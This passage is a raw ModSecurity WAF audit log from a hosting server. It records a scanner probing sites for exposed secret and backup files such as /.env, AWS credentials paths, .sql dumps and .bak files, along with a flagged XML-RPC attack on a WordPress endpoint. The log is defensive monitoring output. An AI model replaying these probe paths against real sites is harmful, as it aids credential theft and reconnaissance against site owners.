REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.aws/credentials/admin/.env"] [unique_id "aE84ViHEjD4mqWjYVm164QAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022230729861 683748 (- - -) Stopwatch2: 1750022230729861 683748; combined=1815, p1=381, p2=1337, p3=0, p4=0, p5=96, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b2c81e34-Z-- --af355772-A-- [16/Jun/2025:02:47:13.425290 +0530] aE84WNxCjYf3vhjKXItyCAAAAA8 185.177.72.210 36102 127.0.0.1 7081 --af355772-B-- GET /.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --af355772-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0f82b80df0bbd89f780b20f0c99622551750022233; expires=Sun, 15 Jun 2025 22:17:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --af355772-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.sql"] [unique_id "aE84WNxCjYf3vhjKXItyCAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022232761063 664294 (- - -) Stopwatch2: 1750022232761063 664294; combined=1993, p1=344, p2=1542, p3=0, p4=0, p5=106, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --af355772-Z-- --e88d8768-A-- [16/Jun/2025:02:47:19.927628 +0530] aE84X3wizUED0-SK4eRKrAAAAAE 185.177.72.210 36330 127.0.0.1 7081 --e88d8768-B-- GET /forum.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e88d8768-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e11ce1e875627bd9b4cc6566a59f24d41750022239; expires=Sun, 15 Jun 2025 22:17:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e88d8768-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/forum.sql"] [unique_id "aE84X3wizUED0-SK4eRKrAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022239252598 675103 (- - -) Stopwatch2: 1750022239252598 675103; combined=1853, p1=417, p2=1328, p3=0, p4=0, p5=108, sr=136, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e88d8768-Z-- --f26fda33-A-- [16/Jun/2025:02:47:21.014467 +0530] aE84YM0RsCO0eBtdhx7CKAAAAAg 185.177.72.210 41256 127.0.0.1 7081 --f26fda33-B-- GET /ledger_sync/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f26fda33-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b23fd978f8a20e871f7f41572ab61bce1750022240; expires=Sun, 15 Jun 2025 22:17:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f26fda33-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ledger_sync/.env"] [unique_id "aE84YM0RsCO0eBtdhx7CKAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022240382104 632425 (- - -) Stopwatch2: 1750022240382104 632425; combined=1910, p1=410, p2=1419, p3=0, p4=0, p5=81, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f26fda33-Z-- --02992b18-A-- [16/Jun/2025:02:47:21.993219 +0530] aE84YcSAI-lmnIgQu6D3lwAAAAc 185.177.72.210 41304 127.0.0.1 7081 --02992b18-B-- GET /thumbs.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --02992b18-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f3692ccd8b5e4e6ec9bfe53336232f441750022241; expires=Sun, 15 Jun 2025 22:17:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --02992b18-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/thumbs.db"] [unique_id "aE84YcSAI-lmnIgQu6D3lwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022241335707 657586 (- - -) Stopwatch2: 1750022241335707 657586; combined=1903, p1=320, p2=1494, p3=0, p4=0, p5=88, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02992b18-Z-- --432f5755-A-- [16/Jun/2025:02:47:26.296994 +0530] aE84ZSHEjD4mqWjYVm166QAAABM 185.177.72.210 41498 127.0.0.1 7081 --432f5755-B-- GET /test/fixtures/node_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --432f5755-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=32fc895f5d11109bbef4872f05cc50b31750022246; expires=Sun, 15 Jun 2025 22:17:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --432f5755-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/fixtures/node_path/.env"] [unique_id "aE84ZSHEjD4mqWjYVm166QAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022245562553 734503 (- - -) Stopwatch2: 1750022245562553 734503; combined=1768, p1=388, p2=1282, p3=0, p4=0, p5=97, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --432f5755-Z-- --ce777b41-A-- [16/Jun/2025:02:47:40.927502 +0530] aE84dCHEjD4mqWjYVm167wAAABM 185.177.72.210 50556 127.0.0.1 7081 --ce777b41-B-- GET /install.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce777b41-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5a118ea3c6899739b5879db5edd8a8141750022260; expires=Sun, 15 Jun 2025 22:17:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce777b41-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/install.bak"] [unique_id "aE84dCHEjD4mqWjYVm167wAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022260263961 663609 (- - -) Stopwatch2: 1750022260263961 663609; combined=1752, p1=375, p2=1269, p3=0, p4=0, p5=108, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce777b41-Z-- --364f1e44-A-- [16/Jun/2025:02:47:43.856736 +0530] aE84d2eJgEpdIdHvkzyc3gAAAAY 185.177.72.210 50614 127.0.0.1 7081 --364f1e44-B-- GET /dump.inc.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --364f1e44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e07cea21e18e0a5f4df88cc1c0b74d8f1750022263; expires=Sun, 15 Jun 2025 22:17:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --364f1e44-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/dump.inc.old"] [unique_id "aE84d2eJgEpdIdHvkzyc3gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022263205963 650835 (- - -) Stopwatch2: 1750022263205963 650835; combined=1851, p1=371, p2=1386, p3=0, p4=0, p5=93, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --364f1e44-Z-- --ca77ff3f-A-- [16/Jun/2025:02:47:48.816915 +0530] aE84fCHEjD4mqWjYVm168wAAABM 185.177.72.210 50844 127.0.0.1 7081 --ca77ff3f-B-- GET /:8181/rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ca77ff3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c0ed3b4c59948f57bb5f298575b489a81750022268; expires=Sun, 15 Jun 2025 22:17:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ca77ff3f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/rest/.env"] [unique_id "aE84fCHEjD4mqWjYVm168wAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022268152871 664117 (- - -) Stopwatch2: 1750022268152871 664117; combined=1824, p1=348, p2=1357, p3=0, p4=0, p5=119, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ca77ff3f-Z-- --fb0f8f75-A-- [16/Jun/2025:02:47:52.226728 +0530] aE84f9afa9gds5d-5EIrxAAAAAM 128.199.112.101 37620 127.0.0.1 7081 --fb0f8f75-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fb0f8f75-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fb0f8f75-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE84f9afa9gds5d-5EIrxAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022271281524 945270 (- - -) Stopwatch2: 1750022271281524 945270; combined=2313, p1=372, p2=1493, p3=49, p4=71, p5=201, sr=97, sw=127, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fb0f8f75-Z-- --33d5e076-A-- [16/Jun/2025:02:47:52.596002 +0530] aE84f2BSQiWwwCa-v2QFoAAAAAQ 185.177.72.210 37660 127.0.0.1 7081 --33d5e076-B-- GET /price_hawk_client/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --33d5e076-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b5224fea6460788e347298eb304c9ac1750022272; expires=Sun, 15 Jun 2025 22:17:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --33d5e076-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/price_hawk_client/.env"] [unique_id "aE84f2BSQiWwwCa-v2QFoAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022271934214 661847 (- - -) Stopwatch2: 1750022271934214 661847; combined=1936, p1=362, p2=1490, p3=0, p4=0, p5=84, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --33d5e076-Z-- --98c9bc56-A-- [16/Jun/2025:02:48:03.334933 +0530] aE84itxCjYf3vhjKXItyHgAAAA8 185.177.72.210 38900 127.0.0.1 7081 --98c9bc56-B-- GET /:8000/administrateur/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --98c9bc56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0c46756553e41993497c86b5f73623761750022283; expires=Sun, 15 Jun 2025 22:18:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --98c9bc56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/administrateur/.env.production"] [unique_id "aE84itxCjYf3vhjKXItyHgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022282621170 713826 (- - -) Stopwatch2: 1750022282621170 713826; combined=1937, p1=443, p2=1392, p3=0, p4=0, p5=102, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --98c9bc56-Z-- --f007a661-A-- [16/Jun/2025:02:48:34.462736 +0530] aE84qdafa9gds5d-5EIr2QAAAAM 185.177.72.210 35064 127.0.0.1 7081 --f007a661-B-- GET /phpinfo.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f007a661-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=378ef1a637626b77bb79bf54cf1ae2751750022314; expires=Sun, 15 Jun 2025 22:18:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f007a661-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/phpinfo.php.bak"] [unique_id "aE84qdafa9gds5d-5EIr2QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022313800469 662329 (- - -) Stopwatch2: 1750022313800469 662329; combined=1779, p1=326, p2=1355, p3=0, p4=0, p5=98, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f007a661-Z-- --d5168f04-A-- [16/Jun/2025:02:48:35.521039 +0530] aE84qtxCjYf3vhjKXItyLwAAAA8 185.177.72.210 35096 127.0.0.1 7081 --d5168f04-B-- GET /:8080/stats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d5168f04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a52ddb73c4740bae4b06acc869200a541750022315; expires=Sun, 15 Jun 2025 22:18:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d5168f04-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev 